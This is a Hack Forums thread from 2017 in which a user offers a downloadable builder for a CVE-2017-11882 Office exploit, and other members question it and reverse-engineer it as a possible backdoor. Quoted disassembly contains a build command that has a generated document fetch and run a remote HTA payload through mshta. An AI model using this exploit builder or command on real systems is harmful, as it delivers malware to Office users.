

Forum:[Hack Forums](#)

Thread: [Silent Exploit\(CVE-2017-11882 \) Builder by the-nightmare.com](#)

YAK_CODER - December 5, 2017, 12:12 pm

[Video: <https://www.youtube.com/watch?v=XHATr5WlY4Y&feature=youtu.be>]

Download

[deleted]

pass:the-nightmare

important

u need python 2.7 to be installed on C:\Python27

<http://the-nightmare.com>

add me

icq:716557549

skype:kareem.alex1

AnonLiv3 - December 8, 2017, 1:42 am

Trying to spread your EXE try better next time man not on here ...

CyberStrike - December 8, 2017, 1:52 am

lol I swear some people

YAK_CODER - December 8, 2017, 8:30 am

(Dec 8, 2017 02:42 AM)Kingin001 Wrote: [\[CITE\]](#) Trying to spread your EXE try better next time man not on here .stop being an asshole and prove what you say? or die while you still learning

seedhabandha - December 8, 2017, 1:16 pm

i dnt know about your file that u have shared, But one thing for sure, You're really bad in front end language.

I just saw the source code of that site & Am sure dat u r either a spammer or noob or both.

05317832892 - December 10, 2017, 11:52 am

Looks very suspicious but I will reverse this and decide if it's malicious.

solononforeverreborn - December 10, 2017, 12:07 pm

(Dec 10, 2017 12:52 PM)ROOTED Wrote: [\[CITE\]](#) Looks very suspicious but I will reverse this and decide if it's malicious.

Please do, someone give this guy rep on my behalf.

OP is it fud?

05317832892 - December 10, 2017, 1:15 pm

Ok I am going to say this is legit but use at your own risk and definitely don't use outside of a virtual machine.

What does it do?

<https://www.reverse.it/sample/d1661001c4fd28fb06510776ecfc4384dee0aa98e6858a0e7474dcae15ced425?environmentId=100>

Well it appears to be just an exe wrapper that drops 2017-11882_Generator.py and executes it, it has not been modified as the sha256 is the same on github and hybrid and the one dropped in my tmp directory:

https://github.com/BlackMathIT/2017-11882_Generator/blob/master/2017-11882_Generator.py

The exploit it builds does work however it is heavily detected (30+/50), it's worth noting that this CVE is very hard to obfuscate due to the nature of the exploit.

So it works and does what it says on the tin but is it backdoored?

Analysis of this sample was a bit tricky due to the packer Neolite being used. I attempted to unpack it with automated tools however the tools were not working, that's not anything to do with the exe, just I broke my unpacker and need to reinstall it. Instead I tried to manually unpack it at runtime but I gave up as my head hurts and I can't be fucked.

Going over a few interesting things:

- 1) Packer - 2 options as to why, reduce file size or protect code, seeing as it just reuses public code from github I doubt it was used to protect the code, maybe it was used to reduce file size but you must also consider the possibility that is it to evade analysis.
- 2) Dropping x.bat to %tmp% - This is harmless, it just executes the .py
- 3) DNS query for pomf.cat - Had DNS sniffer open on my VM when I was investigating this and there was a query to pomf.cat, I was unable to replicate this later though so I cannot confirm if it is malicious although I'm pretty sure my snapshot was clean.
- 4) 1 Heuristic Detection - Probably just because of the packer, nothing to worry about

My recommendations? Just run the script from github without all this packed exe bullshit.

CyberStrike - December 10, 2017, 2:34 pm

773E6A65@KERNEL32.DLL ...

@519f57: push 0051A158h ;cmd /c C:\Python27\python.exe dle.py -x "mshta

@519f5c: lea edx, dword ptr [ebp-00000178h]

@519f62: mov eax, dword ptr [ebp-04h]

@519f65: mov eax, dword ptr [eax+0000031Ch]

@519f6b: call 0043E8BCh

@519f70: push dword ptr [ebp-00000178h]

@519f76: push 0051A194h ;" -o usg.doc

usg.doc, perhaps part of usgcrpyter?

cmd /c C:\Python27\python.exe dle.py -x "mshta hxxps://www.fuck.com/hta_file" -o usg.doc

Possibly compromised site

<https://www.virustotal.com/#/domain/www.fuck.com>

Appears as though previously they were hosting malicious files.

DinamicoBoys - December 10, 2017, 3:11 pm

(Dec 10, 2017 01:07 PM)solononforeverreborn Wrote: [\[CITE\]](#) Por favor, alguien le de a este chico representante en mi nombre.

OP es fud?
¡NO! ?

CyberStrike - December 10, 2017, 3:26 pm

One thing we should all note is that hacking tools are often flagged

solononforeverreborn - December 10, 2017, 7:13 pm

(Dec 10, 2017 04:11 PM)DinamicoBoys Wrote: [\[CITE\]](#) ¡NO! ?

Thanks dude. This software sucks.

0x53384225 - December 11, 2017, 5:16 am

As previously stated, I would not use the exe and just use the .py file like everyone else. What's the purpose of the packing anyways OP?

CyberStrike - December 11, 2017, 5:17 am

Well I would think looking at OPs posts that he doesn't infect users seeing that his business is crypting files for people.

05317832892 - December 11, 2017, 6:46 am

(Dec 10, 2017 03:34 PM)sirru5h Wrote: [\[CITE\]](#) 773E6A65@KERNEL32.DLL ...

```
@519f57: push 0051A158h ;cmd /c C:\Python27\python.exe dle.py -x "mshta
@519f5c: lea edx, dword ptr [ebp-00000178h]
@519f62: mov eax, dword ptr [ebp-04h]
@519f65: mov eax, dword ptr [eax+0000031Ch]
@519f6b: call 0043E8BCh
@519f70: push dword ptr [ebp-00000178h]
@519f76: push 0051A194h ;" -o usg.doc
```

usg.doc, perhaps part of usgcrypter?

```
cmd /c C:\Python27\python.exe dle.py -x "mshta hxxps://www.fuck.com/hta_file" -o usg.doc
```

Possibly compromised site

<https://www.virustotal.com/#/domain/www.fuck.com>

Appears as though previously they were hosting malicious files.

Fuck.com is the template domain. It's not used and doesn't actually host any malware.

USG.doc is the malware it builds

CyberStrike - December 11, 2017, 7:18 am

Looks like previously it had some interesting files in the past. Why is it calling up mshta and referring to that site? Plus a "save as" box pops up. It's odd balled.

Edit: OP you ever plan on coming back or what ? Last post was here after being told not to spread his exe.

0x53384225 - December 13, 2017, 3:03 pm

(Dec 11, 2017 08:18 AM)sirru5h Wrote: [\[CITE\]](#) Looks like previously it had some interesting files in the past. Why is it calling up mshta and referring to that site? Plus a "save as" box pops up. It's odd balled.

Edit: OP you ever plan on coming back or what ? Last post was here after being told not to spread his exe.

Yeah that is a little sketch that he disappears after his file gets investigated.

CyberStrike - December 13, 2017, 3:40 pm

^^ Yup he has been on though, just not posting. Like I said if this was something I did as a business I would be on here explaining what I do, if I have source code I would make sure to let others take a look at the source code, or perhaps have a trusted member look and report back their findings.

Redwolf3221 - December 13, 2017, 7:16 pm

Did you watching the Video with Closed eyes ? its just showing Word2010 the exploit never will work on the new version's

Silent Exploit for Word 2010 is nothing New and Nothing Special it just working for the OLD version! Look down to the Right not seeing an Date just some "%"\$\$(&%\$" Very Trusted look.

i would say stay away.

Mfg Redwolf